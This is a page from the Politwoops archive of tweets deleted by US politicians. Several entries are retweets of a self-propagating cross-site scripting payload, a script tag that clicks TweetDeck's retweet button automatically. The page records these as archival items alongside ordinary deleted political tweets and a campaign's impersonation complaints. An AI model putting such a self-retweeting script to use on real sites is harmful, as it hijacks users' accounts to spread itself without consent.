Politwoops Deleted Tweets from Politicians

An archive of the public statements deleted by U.S. politicians. Explore the tweets they would prefer you couldn't see.

To meet the Twitter API Terms of Service, all deleted tweets shown here since June 22, 2012 have been reviewed and approved by the Sunlight Foundation.

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Governor Jay Inslee (D) @GovInslee

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Brian Higgins (D) @RepBrianHiggins

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

John Dingell (D) @JohnDingell

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RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

McCaskill Office (D) @McCaskillOffice

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Charles Boustany (R) @RepBoustany

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Mark Udall (D) @MarkUdall

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RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Dan Sullivan (R) @DanSullivan2014

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Saxby Chambliss (R) @SaxbyChambliss

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RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Tom Latham (R) @TomLatham

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RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Brad Wenstrup (R) @RepBradWenstrup

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Ron George (R) @RonGeorge2014

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Yet govt & state budget surges! MT @baltimoresun: No economic growth in Maryland last year. http://t.co/mSjXcH8hTG #mdpolitics #tcot

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Alejandro (D) @agarciapadilla

RT @SenadoPR: "Aquí está el compromiso tanto de la Cámara y el Senado como del Gobernador para hacer a Puerto Rico más competitivo" @eduardobhatia #PC545

Todd Young (R) @ToddYoungIN

Hoosier families are effected by negative impacts of job loss, see how Todd Young is working to create jobs in IN. http://t.co/wwEqln9jpN

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GeorgeDemos4Congress (R) @Demos4Congress

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@PolitiBunny @LeahR77 @Jacquie0415 Please RT. We have twitter impersonator @DEMOS4C0NGRESS of https://t.co/ag6fL5L3XQ PLEASE BLOCK!!

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GeorgeDemos4Congress (R) @Demos4Congress

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@Support We have a twitter impersonator that was created today. @DEMOS4C0NGRESS of https://t.co/ag6fL5L3XQ. They do not speak for campaign.

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GeorgeDemos4Congress (R) @Demos4Congress

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@PolitiBunny Thank you!

GeorgeDemos4Congress (R) @Demos4Congress

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@Scully64 Thank you!

GeorgeDemos4Congress (R) @Demos4Congress

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@Jacquie0415 @PolitiBunny @LeahR77 Thank you! The fake account started today and only has 53 tweets so far.

GeorgeDemos4Congress (R) @Demos4Congress

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@safety We have twitter impersonator of our campaign at @DEMOS4C0NGRESS and https://t.co/ag6fL5L3XQ.

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GeorgeDemos4Congress (R) @Demos4Congress

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@Scully64 @RebelMouse Thank you!

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On June 3, 2015, the Sunlight Foundation received word from Twitter that it was pulling the plug on Politwoops, reversing an agreement made in 2012 that allowed us to run the project using its API. The last deletions we have archived are from May 15, 2015. Please read our 'Eulogy for Politwoops' for more detail.

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